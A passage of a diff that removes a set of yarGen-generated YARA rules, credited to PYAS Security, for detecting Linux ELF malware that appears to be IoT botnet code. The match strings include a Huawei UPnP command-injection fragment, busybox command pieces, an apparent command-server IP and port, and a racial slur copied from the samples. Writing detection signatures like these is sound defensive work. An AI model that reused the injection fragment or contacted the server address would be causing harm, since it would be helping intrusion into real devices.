- uint16(0) == 0x457f and filesize < 200KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_97 {
- meta:
- description = "Linux_97"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "3042f63761941a681e2e51ac165131ec65e55f5c79446d3585a5c6105b58cc04"
- strings:
- $s1 = "__stdio_mutex_initializer.3812" fullword ascii
- $s2 = "/home/firmware/build/temp-sh4/gcc-core/gcc/config/sh/lib1funcs.asm" fullword ascii
- $s3 = "completed.2217" fullword ascii
- $s4 = "spec_chars.4025" fullword ascii
- $s5 = "L_uClibc_main" fullword ascii
- $s6 = "Pccg7x3" fullword ascii
- $s7 = "been_there_done_that.2753" fullword ascii
- $s8 = "spec_flags.4024" fullword ascii
- $s9 = "next_start.1030" fullword ascii
- $s10 = "__init_brk" fullword ascii
- $s11 = "xdigits.3026" fullword ascii
- $s12 = "object.2270" fullword ascii
- $s13 = "unknown.1072" fullword ascii
- $s14 = "spec_ranges.4026" fullword ascii
- $s15 = "spec_or_mask.4027" fullword ascii
- $s16 = "__sdivsi3_i4" fullword ascii
- $s17 = "libc/string/sh/sh4/memcpy.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sh/crt1.S" fullword ascii
- $s19 = "__udivsi3_i4" fullword ascii
- $s20 = "__init_brk.c" fullword ascii
-
- $op0 = { ff 00 34 d3 40 00 03 d5 04 d1 e6 2f f3 6e e3 6f }
- $op1 = { d6 03 00 00 c2 06 00 00 06 08 00 00 46 09 00 00 }
- $op2 = { 01 00 dc ff 00 00 40 42 0f 00 00 e1 12 1e e3 61 }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_98 {
- meta:
- description = "Linux_98"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "aa28b6d17857a03646708f6c8d75b69cae71fde812219d66f10234d4b0f0e0af"
- strings:
- $s1 = "__stdio_mutex_initializer.3812" fullword ascii
- $s2 = "/home/firmware/build/temp-sh4/gcc-core/gcc/config/sh/lib1funcs.asm" fullword ascii
- $s3 = "completed.2217" fullword ascii
- $s4 = "spec_chars.4025" fullword ascii
- $s5 = "L_uClibc_main" fullword ascii
- $s6 = "Pccg7x3" fullword ascii
- $s7 = "been_there_done_that.2753" fullword ascii
- $s8 = "spec_flags.4024" fullword ascii
- $s9 = "next_start.1030" fullword ascii
- $s10 = "__init_brk" fullword ascii
- $s11 = "xdigits.3026" fullword ascii
- $s12 = "object.2270" fullword ascii
- $s13 = "unknown.1072" fullword ascii
- $s14 = "spec_ranges.4026" fullword ascii
- $s15 = "spec_or_mask.4027" fullword ascii
- $s16 = "__sdivsi3_i4" fullword ascii
- $s17 = "libc/string/sh/sh4/memcpy.S" fullword ascii
- $s18 = "libc/sysdeps/linux/sh/crt1.S" fullword ascii
- $s19 = "__udivsi3_i4" fullword ascii
- $s20 = "__init_brk.c" fullword ascii
-
- $op0 = { e6 2f 68 26 62 15 71 15 03 8d f3 6e 51 16 02 a0 }
- $op1 = { 17 93 10 c3 03 61 f4 e2 2c 41 17 61 18 21 0c 8b }
- $op2 = { 86 2f 48 24 96 2f 43 69 a6 2f 63 6a b6 2f 53 6b }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_99 {
- meta:
- description = "Linux_99"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "3c521d6db959df9f9ebc3dea91ec2fe68e6f5dd6865ca53c1db77ce845fe86f5"
- strings:
- $s1 = "__stdio_mutex_initializer.4280" fullword ascii
- $s2 = "[0;97m ] Connected -> " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "getrlimit64" fullword ascii
- $s5 = "completed.2761" fullword ascii
- $s6 = "AWAVAUI" fullword ascii
- $s7 = "AVAUATU" fullword ascii
- $s8 = "AVAUATS" fullword ascii
- $s9 = "AUATUSH" fullword ascii
- $s10 = "AWAVAUATUL" fullword ascii
- $s11 = "94.156.64.143:9821" fullword ascii
- $s12 = "[0;97m| Device: " fullword ascii
- $s13 = "[0;97m | Endian " fullword ascii
- $s14 = "gayass.c" fullword ascii
- $s15 = "ay2fzc1txz22mldwtj4ipcevw5q8zq6" fullword ascii
- $s16 = "[0;91mNigger " fullword ascii
- $s17 = "libc/string/x86_64/strpbrk.S" fullword ascii
- $s18 = "object.2814" fullword ascii
- $s19 = "__GI___libc_lseek" fullword ascii
- $s20 = "libc/sysdeps/linux/x86_64/crtn.S" fullword ascii
-
- $op0 = { eb 0c 48 63 c2 48 c7 44 c4 08 ff ff ff ff ff ca }
- $op1 = { eb 38 b8 00 04 00 00 eb 31 b8 ff ff ff 7f eb 2a }
- $op2 = { e8 49 fd ff ff ff 45 cc ff 4d d8 eb 0b 48 ff 4d }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_100 {
- meta:
- description = "Linux_100"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7bf1ba4c5536f27ba7c4c317bb8003ab6f65354f1890fd24728ed2f467ee1495"
- strings:
- $s1 = "__stdio_mutex_initializer.3833" fullword ascii
- $s2 = "[0;97m ] Connected -> " fullword ascii
- $s3 = "Nigger Bruted -> %s [ %s:%s ]" fullword ascii
- $s4 = "$(/bin/busybox w" ascii
- $s4 = "bin/systemd" fullword ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "bin/busybox" fullword ascii
- $s8 = "bin/watchdog" fullword ascii
- $s9 = "/lib/ld-uClibc.so.0" fullword ascii
- $s10 = "libc.so.0" fullword ascii
- $s11 = "MCJBG@K." fullword ascii
- $s12 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s13 = " && mv " fullword ascii
- $s14 = "LAZ@KZ" fullword ascii
- $s15 = "@I[WK@@IFG" fullword ascii
-
- $op0 = { 90 1f 01 00 04 e0 2d e5 04 f0 9d e4 3c 30 9f e5 }
- $op1 = { 90 1f 01 00 9c a2 01 00 10 a0 01 }
- $op2 = { a1 00 00 58 d2 00 00 68 d5 00 00 dc bf 00 00 4c }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_119 {
- meta:
- description = "Linux_119"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f0827fb4c51f95934f2aa253ba6f287060ef38a2a9285e86da9f844efde846d3"
- strings:
- $s1 = "/lib/ld-uClibc.so.0" fullword ascii
- $s2 = "libc.so.0" fullword ascii
- $s3 = "BAdAsV" fullword ascii
-
- $op0 = { 08 12 01 00 04 e0 2d e5 04 f0 9d e4 3c 30 9f e5 }
- $op1 = { 08 12 01 00 18 99 01 00 1c 92 01 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_120 {
- meta:
- description = "Linux_120"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "38e53f276af2da614e127224bad1ac3bf818e07528b32d1e4489c0e094a03ff2"
- strings:
- $s1 = "AWAVAUATA" fullword ascii /* reversed goodware string 'ATAUAVAWA' */
- $s2 = "AWAVAUATD" fullword ascii
- $s3 = "AWAVAUI" fullword ascii
- $s4 = "AVAUATI" fullword ascii
- $s5 = "AVAUATUS" fullword ascii
- $s6 = "AVAUATSH" fullword ascii
- $s7 = "D$(|WL" fullword ascii
- $s8 = "H;s`t\\B" fullword ascii
- $s9 = "CpX[A\\" fullword ascii
- $s10 = "_[]A\\A]" fullword ascii
- $s11 = "[A\\A]A^A_" fullword ascii
- $s12 = "x[]A\\A]A^A_" fullword ascii
- $s13 = "X[]A\\A]A^A_" fullword ascii
- $s14 = "Y[]A\\A]" fullword ascii
- $s15 = "CpZ[A\\" fullword ascii
- $s16 = "H[]A\\A]A^A_" fullword ascii
- $s17 = "T$0t$H" fullword ascii
-
- $op0 = { 8b 3d 34 a4 10 00 c7 05 26 a4 10 }
- $op1 = { e8 ea 61 00 00 e9 43 ff ff ff 90 be 09 }
- $op2 = { e8 95 61 00 00 90 e9 4d ff ff ff be 09 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_121 {
- meta:
- description = "Linux_121"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e723f54930bc91015556cdfde87eb910a803a4e3831467620e9489c788977cd9"
- strings:
- $s1 = "AWAVAUATA" fullword ascii /* reversed goodware string 'ATAUAVAWA' */
- $s2 = "AWAVAUA" fullword ascii /* reversed goodware string 'AUAVAWA' */
- $s3 = "AWAVAUATD" fullword ascii
- $s4 = "AWAVAUI" fullword ascii
- $s5 = "AVAUATSH" fullword ascii
- $s6 = "AVAUATU" fullword ascii
- $s7 = "AVAUATS" fullword ascii
- $s8 = "AUATUSH" fullword ascii
- $s9 = "AWAVAUATUL" fullword ascii
- $s10 = "AWAVAUATUS1" fullword ascii
- $s11 = "AUATUH" fullword ascii
- $s12 = "AVAUE1" fullword ascii
- $s13 = "D$(|WL" fullword ascii
- $s14 = "H;s`t\\B" fullword ascii
- $s15 = "CpX[A\\" fullword ascii
- $s16 = "_[]A\\A]" fullword ascii
- $s17 = "[A\\A]A^A_" fullword ascii
- $s18 = "X[]A\\A]A^A_" fullword ascii
- $s19 = "Y[]A\\A]" fullword ascii
- $s20 = "CpZ[A\\" fullword ascii
-
- $op0 = { 8b 7c 24 34 b9 00 40 00 00 4c 89 e6 48 8d 14 c5 }
- $op1 = { 48 b8 ff ff ff ff ff ff ff 7f 45 31 ed 48 63 dd }
- $op2 = { 45 0f be ca e9 2a ff ff ff 5b 5d 41 5c 41 83 fd }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_122 {
- meta:
- description = "Linux_122"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "503434ff2449797ffd228b7fdc79817653ff4ab20a42aed5a8a2a87fbeabda67"
- strings:
- $s1 = "AWAVAUATA" fullword ascii /* reversed goodware string 'ATAUAVAWA' */
- $s2 = "AWAVAUA" fullword ascii /* reversed goodware string 'AUAVAWA' */
- $s3 = "AWAVAUATD" fullword ascii
- $s4 = "AWAVAUI" fullword ascii
- $s5 = "AVAUATI" fullword ascii
- $s6 = "AVAUATSH" fullword ascii
- $s7 = "AVAUATU" fullword ascii
- $s8 = "AVAUATS" fullword ascii
- $s9 = "AUATUSH" fullword ascii
- $s10 = "AWAVAUATUL" fullword ascii
- $s11 = "s3H;%d/" fullword ascii
- $s12 = "lvrvup9w0zwi6nuqf0kilumln8ox5vgvkl@" fullword ascii
- $s13 = "AUATUH" fullword ascii
- $s14 = "AVAUE1" fullword ascii
- $s15 = "D$(|WL" fullword ascii
- $s16 = "H;s`t\\B" fullword ascii
- $s17 = "CpX[A\\" fullword ascii
- $s18 = "_[]A\\A]" fullword ascii
- $s19 = "[A\\A]A^A_" fullword ascii
- $s20 = "X[]A\\A]A^A_" fullword ascii
-
- $op0 = { 8b 7c 24 34 b9 00 40 00 00 4c 89 e6 48 8d 14 c5 }
- $op1 = { 48 b8 ff ff ff ff ff ff ff 7f 45 31 ed 48 63 dd }
- $op2 = { 45 0f be ca e9 2a ff ff ff 5b 5d 41 5c 41 83 fd }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_123 {
- meta:
- description = "Linux_123"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "568a215bfc6bd71828cde42da40393352627ace59d8ff699c89fb66d2fb255dd"
- strings:
- $x1 = "$(/bin/busybox w" ascii
- $s5 = "dURL>$(echo HUAWEIUPNP)" fullword ascii
- $s6 = "killall" fullword ascii
- $s7 = "AWAVAUATD" fullword ascii
- $s8 = "AWAVAUI" fullword ascii
- $s9 = "AVAUATSH" fullword ascii
- $s10 = "AVAUATU" fullword ascii
- $s11 = "AVAUATS" fullword ascii
- $s12 = "AUATUSH" fullword ascii
- $s13 = "AWAVAUATUS1" fullword ascii
- $s14 = "MCJBG@K." fullword ascii
- $s15 = "w5q6he3dbrsgmclkiu4to18npavj702f" fullword ascii
- $s16 = " && mv " fullword ascii
- $s17 = "AUATUH" fullword ascii
- $s18 = "D$(|WL" fullword ascii
- $s19 = "H;s`t\\B" fullword ascii
- $s20 = "CpX[A\\" fullword ascii
-
- $op0 = { 8b 7c 24 34 b9 00 40 00 00 4c 89 e6 48 8d 14 c5 }
- $op1 = { 48 b8 ff ff ff ff ff ff ff 7f 45 31 ed 48 63 dd }
- $op2 = { 45 0f be ca e9 2a ff ff ff 5b 5d 41 5c 41 83 fd }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 1 of ($x*) and 4 of them and all of ($op*) )
-}
-
-rule Linux_124 {
- meta:
- description = "Linux_124"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "4babdcc394d5e4ec7ac1292c766918b9e0dc34aac6c9f3515c01dae24ab34343"
- strings:
- $s1 = "__stdio_mutex_initializer.4280" fullword ascii
- $s2 = "getrlimit64" fullword ascii
- $s3 = "completed.2761" fullword ascii
- $s4 = "AWAVAUI" fullword ascii
- $s5 = "AVAUATU" fullword ascii
- $s6 = "AVAUATS" fullword ascii
- $s7 = "AUATUSH" fullword ascii
- $s8 = "AWAVAUATUL" fullword ascii
- $s9 = "libc/string/x86_64/strpbrk.S" fullword ascii
- $s10 = "object.2814" fullword ascii
- $s11 = "__GI___libc_lseek" fullword ascii
- $s12 = "libc/sysdeps/linux/x86_64/crtn.S" fullword ascii
- $s13 = "libc/sysdeps/linux/x86_64/vfork.S" fullword ascii
- $s14 = "libc/string/x86_64/memset.S" fullword ascii
- $s15 = "next_start.1440" fullword ascii
- $s16 = "spec_chars.4494" fullword ascii
- $s17 = "libc/string/x86_64/strchr.S" fullword ascii
- $s18 = "spec_ranges.4495" fullword ascii
- $s19 = "unknown.2050" fullword ascii
- $s20 = "__GI_strtoll" fullword ascii
-
- $op0 = { eb 0c 48 63 c2 48 c7 44 c4 08 ff ff ff ff ff ca }
- $op1 = { eb 38 b8 00 04 00 00 eb 31 b8 ff ff ff 7f eb 2a }
- $op2 = { e8 49 fd ff ff ff 45 cc ff 4d d8 eb 0b 48 ff 4d }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_125 {
- meta:
- description = "Linux_125"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5f15af20db9c991cb81469e969f26082310a93eb1c62f6086462fa98794d28b8"
- strings:
- $s1 = "__stdio_mutex_initializer.4280" fullword ascii
- $s2 = "getrlimit64" fullword ascii
- $s3 = "completed.2761" fullword ascii
- $s4 = "AWAVAUI" fullword ascii
- $s5 = "AVAUATU" fullword ascii
- $s6 = "AVAUATS" fullword ascii
- $s7 = "AUATUSH" fullword ascii
- $s8 = "AWAVAUATUL" fullword ascii
- $s9 = "libc/string/x86_64/strpbrk.S" fullword ascii
- $s10 = "object.2814" fullword ascii
- $s11 = "__GI___libc_lseek" fullword ascii
- $s12 = "libc/sysdeps/linux/x86_64/crtn.S" fullword ascii
- $s13 = "libc/sysdeps/linux/x86_64/vfork.S" fullword ascii
- $s14 = "libc/string/x86_64/memset.S" fullword ascii
- $s15 = "next_start.1440" fullword ascii
- $s16 = "spec_chars.4494" fullword ascii
- $s17 = "libc/string/x86_64/strchr.S" fullword ascii
- $s18 = "spec_ranges.4495" fullword ascii
- $s19 = "unknown.2050" fullword ascii
- $s20 = "__GI_strtoll" fullword ascii
-
- $op0 = { eb 0c 48 63 c2 48 c7 44 c4 08 ff ff ff ff ff ca }
- $op1 = { eb 38 b8 00 04 00 00 eb 31 b8 ff ff ff 7f eb 2a }
- $op2 = { 48 8d 85 20 ff ff ff c7 40 04 30 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_126 {
- meta:
- description = "Linux_126"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "0ea2d73e47b8642b24371be112fb04e455bc8577fa17911bd17793887cedeb7e"
- strings:
- $s1 = "TVVVVVVVV" fullword ascii /* base64 encoded string 'MUUUUU' */
- $s2 = "TVVVVVVVVVVVV" fullword ascii /* base64 encoded string 'MUUUUUUUU' */
- $s3 = "AWAVAUATA" fullword ascii /* reversed goodware string 'ATAUAVAWA' */
- $s4 = "AWAVAUA" fullword ascii /* reversed goodware string 'AUAVAWA' */
- $s5 = "UVVVVVUVV" fullword ascii /* base64 encoded string 'UUUUEU' */
- $s6 = "HVVVVVVVV" fullword ascii /* base64 encoded string 'UUUUUU' */
- $s7 = "No child process" fullword ascii
- $s8 = "*NSt13__facet_shims12_GLOBAL__N_114money_get_shimIwEE" fullword ascii
- $s9 = "*NSt13__facet_shims12_GLOBAL__N_113time_get_shimIwEE" fullword ascii
- $s10 = "*NSt13__facet_shims12_GLOBAL__N_114money_get_shimIcEE" fullword ascii
- $s11 = "template parameter object for " fullword ascii
- $s12 = "*NSt13__facet_shims12_GLOBAL__N_113time_get_shimIcEE" fullword ascii
- $s13 = "not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):" fullword ascii
- $s14 = "1P1P1P" fullword ascii /* reversed goodware string 'P1P1P1' */
- $s15 = "No file descriptors available" fullword ascii
- $s16 = "random_device::random_device(const std::string&): unsupported token" fullword ascii
- $s17 = "NSt7__cxx119money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE" fullword ascii
- $s18 = "iostream error" fullword ascii
- $s19 = "NSt7__cxx118time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE" fullword ascii
- $s20 = "NSt7__cxx1115time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE" fullword ascii
-
- $op0 = { 48 3b 3c 24 0f 85 26 ff ff ff e9 26 ff ff ff 48 }
- $op1 = { 4c 89 ef 48 c7 c2 ff ff ff ff e8 10 c8 03 00 48 }
- $op2 = { 48 8b 1d 8e 9a 09 00 49 bf ff ff ff ff ff ff ff }
- condition:
- uint16(0) == 0x457f and filesize < 2000KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_127 {
- meta:
- description = "Linux_127"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "549d3aac3b42f702f29ab27c653c0f239a51601a6aeb50564beda614f8f1f33e"
- strings:
- $s1 = "__stdio_mutex_initializer.4920" fullword ascii
- $s2 = "getrlimit64" fullword ascii
- $s3 = "hoste.5842" fullword ascii
- $s4 = "strtouq" fullword ascii
- $s5 = "completed.5156" fullword ascii
- $s6 = "AWAVAUI" fullword ascii
- $s7 = "AVAUATI" fullword ascii
- $s8 = "AUATUSH" fullword ascii
- $s9 = "AWAVAUATU" fullword ascii
- $s10 = "_/etc/hosts" fullword ascii
- $s11 = "strtoq" fullword ascii
- $s12 = "__GI_strtoll" fullword ascii
- $s13 = "lseek.c" fullword ascii
- $s14 = "__libc_lseek" fullword ascii
- $s15 = "last_ns_num.5903" fullword ascii
- $s16 = "unknown.1721" fullword ascii
- $s17 = "last_id.5904" fullword ascii
- $s18 = "spec_ranges.5147" fullword ascii
- $s19 = "resolv_conf_mtime.5885" fullword ascii
- $s20 = "spec_base.5142" fullword ascii
-
- $op0 = { 48 8d 85 20 ff ff ff c7 40 04 30 }
- $op1 = { 48 8d 85 20 ff ff ff 48 8d 55 10 48 89 50 08 48 }
- $op2 = { 89 bd 2c ff ff ff 48 89 b5 20 ff ff ff 89 95 1c }
- condition:
- uint16(0) == 0x457f and filesize < 300KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_128 {
- meta:
- description = "Linux_128"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7deceeaf2c51f40ef0644628f157db1e1146826c036f7c08995e02d58d4336f0"
- strings:
- $s1 = "AWAVAUATA" fullword ascii /* reversed goodware string 'ATAUAVAWA' */
- $s2 = "AWAVAUA" fullword ascii /* reversed goodware string 'AUAVAWA' */
- $s3 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s5 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s7 = "__vdso_clock_gettime" fullword ascii
- $s8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s9 = "zkjtjaz" fullword ascii
- $s10 = "AVAUATI" fullword ascii
- $s11 = "AVAUATUS" fullword ascii
- $s12 = "214.194.12.158" fullword ascii
- $s13 = "zltkaz" fullword ascii
- $s14 = "LINUX_2.6" fullword ascii
- $s15 = "99?*.`z.?\".u2.76v;**639;.354u\"2.76q\"76v;**639;.354u\"76a+gjtcv37;=?u-?8*vpupa+gjtbZ" fullword ascii
- $s16 = ";<;(3uljktmtmZ" fullword ascii
- $s17 = "2(57?uohtjthmnitkklz" fullword ascii
- $s18 = "3.uljktmtmzr" fullword ascii
- $s19 = "2(57?uoktjthmjntkjiz" fullword ascii
- $s20 = "?()354uctkthz" fullword ascii
-
- $op0 = { e8 59 97 00 00 e9 16 ff ff ff be 09 }
- $op1 = { e8 14 97 00 00 0f 1f 40 00 e9 5d ff ff ff be 09 }
- $op2 = { e8 01 97 00 00 90 e9 35 ff ff ff be 09 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_129 {
- meta:
- description = "Linux_129"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "3cb8715937fe09f4a1cbd7fc049f184ddb6150bf5116e1827655a7ac464054af"
- strings:
- $s1 = "ftpget" fullword ascii
- $s2 = "niUOHY_" fullword ascii
- $s3 = "SVUL_YRST[" fullword ascii
- $s4 = "MRC^UCUOR[N_W_" fullword ascii
- $s5 = "YRST_I_" fullword ascii
- $s6 = "\\NJ]_N" fullword ascii
- $s7 = "\\[WSVC" fullword ascii
- $s8 = "H_XUUN" fullword ascii
- $s9 = "IQC\\[VV" fullword ascii
- $s10 = "J[HU^C" fullword ascii
-
- $op0 = { 5c e3 08 e0 8d e2 18 60 8e d2 03 00 00 da 24 c0 }
- $op1 = { 70 40 2d e9 00 40 51 e2 46 df 4d e2 00 60 a0 e1 }
- $op2 = { ea 03 00 9d e8 08 d0 8d e2 70 80 bd e8 10 40 2d }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_130 {
- meta:
- description = "Linux_130"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7a024331b1d877c7c88498795f3529def55d214b0c32f8f011122405adbc7135"
- strings:
- $s1 = "ftpget" fullword ascii
- $s2 = "niUOHY_" fullword ascii
- $s3 = "MRC^UCUOR[N_W_" fullword ascii
- $s4 = "YRST_I_" fullword ascii
- $s5 = "LSVUL_YRST[" fullword ascii
- $s6 = "((deleted)" fullword ascii
- $s7 = "\\NJ]_N" fullword ascii
- $s8 = "\\[WSVC" fullword ascii
- $s9 = "H_XUUN" fullword ascii
- $s10 = "IQC\\[VV" fullword ascii
- $s11 = "J[HU^C" fullword ascii
-
- $op0 = { 03 20 f8 09 34 10 ff ff 8f bc 00 18 17 d0 ff b4 }
- $op1 = { 10 00 00 03 34 42 00 04 34 42 00 08 00 00 18 21 }
- $op2 = { 18 21 34 42 00 01 a6 02 00 00 8f bf 00 1c 8f b0 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_131 {
- meta:
- description = "Linux_131"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "92954ed3bad13fb4ccabbefc4455fd4aca25dec509cfc10faca1671b1b15b0c6"
- strings:
- $s1 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" fullword ascii
- $s2 = "76-20;-47-60" fullword ascii /* hex encoded string 'v G`' */
- $s3 = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" fullword ascii
- $s5 = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" fullword ascii
- $s6 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" fullword ascii
- $s7 = "gfebvow" fullword ascii
- $s8 = "bpptlqg" fullword ascii
- $s9 = "brvbqjl" fullword ascii
- $s10 = "pvsslqw" fullword ascii
- $s11 = "sbpptlqg" fullword ascii
- $s12 = "pfqmbnf" fullword ascii
- $s13 = "wfomfwbgnjm" fullword ascii
- $s14 = "wpdljmdlm" fullword ascii
- $s15 = "set-cookie:" fullword ascii
- $s16 = "setCookie('" fullword ascii
- $s17 = "server: rootsenpai" fullword ascii
- $s18 = "fmbaof" fullword ascii
- $s19 = "wbYyC10" fullword ascii
- $s20 = "mubojg" fullword ascii
-
- $op0 = { 23 30 06 00 34 00 bf 8f 30 00 b6 8f 2c 00 b5 8f }
- $op1 = { cc cc 03 3c cd cc 63 34 19 00 43 00 18 00 bc 8f }
- $op2 = { 10 00 bc 8f ff ff 04 34 74 82 99 8f }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_132 {
- meta:
- description = "Linux_132"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "3d8d347c2fdaf8e011648fde523a9d1faf12b429c8a6892f64e19c81a0f373e5"
- strings:
- $s1 = " !'9[P" fullword ascii
- $s2 = " !'9AP" fullword ascii
- $s3 = "@8!$Fj" fullword ascii
- $s4 = " @$cn$" fullword ascii
- $s5 = "H!$Jn40" fullword ascii
-
- $op0 = { 3c 04 04 11 34 84 49 37 00 44 00 19 8f bc 00 18 }
- $op1 = { 10 00 00 03 34 42 00 04 34 42 00 08 00 00 18 21 }
- $op2 = { 18 21 34 42 00 01 a6 02 00 00 8f bf 00 1c 8f b0 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_133 {
- meta:
- description = "Linux_133"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "f6d13972720bc282e720f8e2b4f3ca68aa653f952b1a533be231a7d5a2026871"
- strings:
- $s1 = "E4tmPh" fullword ascii
- $s2 = "D$pQQjXPR" fullword ascii
- $s3 = "\\$(iD$" fullword ascii
- $s4 = "whQWUR" fullword ascii
- $s5 = "D$(j@j" fullword ascii
- $s6 = "D$$j@j" fullword ascii
- $s7 = "|$'fto" fullword ascii
- $s8 = ";T$(}Q" fullword ascii
- $s9 = "}/C;T$" fullword ascii
- $s10 = "T$`VVj" fullword ascii
- $s11 = "9|$$tBPPj" fullword ascii
- $s12 = "D$,j@j" fullword ascii
- $s13 = "D$$Y[j" fullword ascii
- $s14 = "D$$QQPh" fullword ascii
- $s15 = " 9|$$u" fullword ascii
- $s16 = "D$,Pj," fullword ascii
- $s17 = "D$JPPj" fullword ascii
- $s18 = "D$(;|$(tlPPj" fullword ascii
- $s19 = "PPj h`L" fullword ascii
- $s20 = "u\\PPSV" fullword ascii
-
- $op0 = { 31 c0 8b 54 24 10 8b 4c 24 64 8b 34 82 8d 04 40 }
